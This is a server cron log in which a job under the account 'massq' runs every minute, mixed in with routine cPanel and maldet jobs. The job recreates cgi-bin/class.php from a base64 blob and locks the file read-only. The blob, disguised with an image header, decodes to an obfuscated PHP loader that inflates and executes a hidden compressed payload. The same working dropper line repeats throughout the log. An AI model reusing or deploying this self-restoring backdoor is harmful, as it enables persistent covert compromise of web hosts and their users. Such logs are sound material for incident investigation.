Nov  9 14:45:01 server CROND[27606]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:45:01 server CROND[27607]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 14:46:01 server CROND[28464]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:47:01 server CROND[29279]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:48:01 server CROND[30118]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:49:02 server CROND[31025]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:50:01 server CROND[32018]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 14:50:01 server CROND[32020]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 14:50:01 server CROND[32019]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 14:50:01 server CROND[32024]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 14:50:01 server CROND[32025]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:51:01 server CROND[32607]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:52:01 server CROND[912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:53:01 server CROND[1736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:54:01 server CROND[2819]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:55:01 server CROND[3634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 14:55:01 server CROND[3633]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 14:55:01 server CROND[3635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:56:01 server CROND[4498]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:57:01 server CROND[5298]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:57:01 server CROND[5299]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
